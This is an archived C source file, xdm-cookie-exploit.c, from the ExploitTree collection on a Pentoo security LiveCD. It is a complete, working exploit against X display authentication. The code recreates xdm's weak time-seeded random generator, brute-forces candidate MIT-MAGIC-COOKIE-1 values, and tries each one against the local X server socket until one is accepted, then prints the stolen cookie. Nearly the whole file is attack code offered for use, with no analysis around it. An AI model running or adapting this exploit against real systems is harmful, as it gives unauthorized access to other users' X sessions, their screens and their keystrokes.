home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xdm-cookie-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  150 lines

  1. /*
  2. ** xdm-cookie-exploit.c
  3. **
  4. ** Made by (ntf & sky)
  5. ** Login    <ntf@epita.fr>, <sky@epita.fr>
  6. **
  7. ** Last update Sun Jun 24 21:38:48 2001 root
  8. */
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11. #include <sys/socket.h>
  12. #include <sys/un.h>
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <string.h>
  18. #include <time.h>
  19. #include <X11/Xmd.h>
  20. #include <X11/X.h>
  21. #include <signal.h>
  22.  
  23. void doit(struct timeval t);
  24. void die(char *perror_msg); /* TODO: terminal function */
  25.  
  26. #define COOKIE_SZ 16
  27. #define TRUE  42
  28.  
  29. struct  s_x11_hdr
  30. {
  31.   char  endian;
  32.   char  pad1;
  33.   CARD16 protocol_major_version;
  34.   CARD16 protocol_minor_version;
  35.   CARD16 authorization_protocol_name_length;
  36.   CARD16 authorization_protocol_data_length;
  37.   CARD16 pad2;
  38.   char  authorization_protocol_name[20];
  39.   char  authorization_protocol_data[16];
  40. };
  41.  
  42. static unsigned  long int next = 1;
  43. static unsigned int  total = 0;
  44.  
  45. void on_sigint(int sig)
  46. {
  47.   printf("total: %d\n", total);
  48. }
  49.  
  50. int main(ac,av)
  51. int ac;
  52. char *av[];
  53. {
  54.   struct timeval t;
  55.  
  56.   if (ac < 3)
  57.     {
  58.       fprintf (stderr, "%s: usage time_insec time_inusec\n", av[0]);
  59.       exit (4);
  60.     }
  61.   t.tv_sec = atoi(av[1]);
  62.   t.tv_usec = atoi(av[2]);
  63.   printf("sec == %lu\nusec == %lu\n", t.tv_sec, t.tv_usec);
  64.   doit(t);
  65.   return (0);
  66. }
  67.  
  68.  
  69.  
  70. static int inline xdm_rand(void)
  71. {
  72.     next = next * 1103515245 + 12345;
  73.     return (unsigned int)(next / 65536) % 32768;
  74. }
  75.  
  76. void print_cookie(unsigned char cookie[COOKIE_SZ])
  77. {
  78.   int i;
  79.  
  80.   printf("cookie=");
  81.   for (i = 0; i < COOKIE_SZ; i++)
  82.     printf("%02x", cookie[i]);
  83.   printf("\n");
  84. }
  85.  
  86.  
  87. void  doit(t)
  88. struct timeval t;
  89. {
  90.   unsigned char  cookie[COOKIE_SZ];
  91.   long   ldata[2];
  92.   struct sockaddr_un addr;
  93.   char   buffer[1024];
  94.   struct s_x11_hdr x11hdr;
  95.  
  96.   ldata[0] = t.tv_usec;
  97.   ldata[1] = t.tv_sec;
  98.   total = 0;
  99.   x11hdr.endian = 'l';
  100.   x11hdr.protocol_major_version = X_PROTOCOL;
  101.   x11hdr.protocol_minor_version = X_PROTOCOL_REVISION;
  102.   x11hdr.authorization_protocol_name_length = 18;
  103.   x11hdr.authorization_protocol_data_length = 16;
  104.   bcopy("MIT-MAGIC-COOKIE-1", x11hdr.authorization_protocol_name, 18);
  105.   for (total = 0; TRUE; total++)
  106.     {
  107.       int fd;
  108.       int i;
  109.  
  110.       if (!ldata[0])
  111.  ldata[1]--;
  112.       ldata[0]--;
  113.       if ((fd = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1)
  114.  die("socket");
  115.       memset(&addr, 0, sizeof(addr));
  116.       addr.sun_family = AF_LOCAL;
  117.       strcpy(addr.sun_path, "/tmp/.X11-unix/X0");
  118.       if ((connect(fd, (struct sockaddr*)&addr, sizeof(addr))) == -1)
  119.  die("connect");
  120.       next = (ldata[0]) + (ldata[1] << 16);
  121.       for (i = 0; i < 16; i++)
  122.  cookie[i] = (xdm_rand() & 0xff00) >> 8;
  123.       bcopy(cookie, x11hdr.authorization_protocol_data, 16);
  124.       if (write(fd, &x11hdr, sizeof(x11hdr)) == -1)
  125.  die("write");
  126.       if (read(fd, buffer, sizeof(buffer)) == -1)
  127.  die("read");
  128.       if (buffer[0])
  129.  {
  130.    printf("SUCCESS: ");
  131.    print_cookie(cookie);
  132.    exit(0);
  133.  }
  134.       if (!(total % 1000))
  135.  {
  136.    printf(".");
  137.    fflush(stdout);
  138.  }
  139.       close(fd);
  140.     }
  141.   exit(42);
  142. }
  143.  
  144. void die(str)
  145. char *str;
  146. {
  147.   perror(str);
  148.   exit(4);
  149. }
  150.